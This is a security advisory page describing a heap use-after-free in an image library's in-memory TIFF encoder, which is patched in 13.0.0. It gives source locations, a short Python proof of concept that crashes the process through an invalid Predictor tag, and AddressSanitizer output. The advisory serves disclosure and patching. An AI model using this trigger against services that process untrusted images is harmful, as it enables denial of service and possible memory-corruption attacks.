
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 11.3.0, < 13.0.0
Patched in 13.0.0
Details
Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When TIFFWriteScanline fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, TIFFClose flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.
The failure path in ImagingLibTiffEncode frees clientstate->data for the in-memory case but does not close the TIFF or null clientstate->tiff (the file-descriptor branch just above it does set tiff = NULL):
src/libImaging/TiffDecode.c:1041-1046Teardown then calls ImagingLibTiffEncodeCleanup, which runs TIFFClose(tiff) because tiff is still set:
src/encode.c:99-101src/libImaging/TiffDecode.c:955TIFFClose flushes through _tiffWriteProc, which reallocs and memcpys into the freed state->data:
src/libImaging/TiffDecode.c:103-115The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.
import io
from PIL import Image
# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3}) # 317 = Predictor
Run it:
$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)
Observed on a source build of commit 3e2ab96 with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports corrupted double-linked list instead of a segfault; both are the same write into freed memory.
Under AddressSanitizer (build with -fsanitize=address), relevant frames:
==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
#1 _tiffWriteProc src/libImaging/TiffDecode.c:115
#3 TIFFFlush libtiff.so.6
#5 TIFFClose libtiff.so.6
#6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955
#7 _dealloc src/encode.c:100
freed by thread T0 here:
#1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045
#2 _encode src/encode.c:139
previously allocated by thread T0 here:
#1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863
#2 PyImaging_LibTiffEncoderNew src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc
The buffer allocated in ImagingLibTiffEncodeInit is freed in ImagingLibTiffEncode, then written by _tiffWriteProc during the TIFFClose flush that runs from the encoder's _dealloc.
Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a BytesIO or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.
EPSS, exploit probability
Low0.46%
estimated chance of real-world exploitation in the next 30 days, higher than 39.0% of every CVE FIRST.org scores
Refreshed 10/21/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.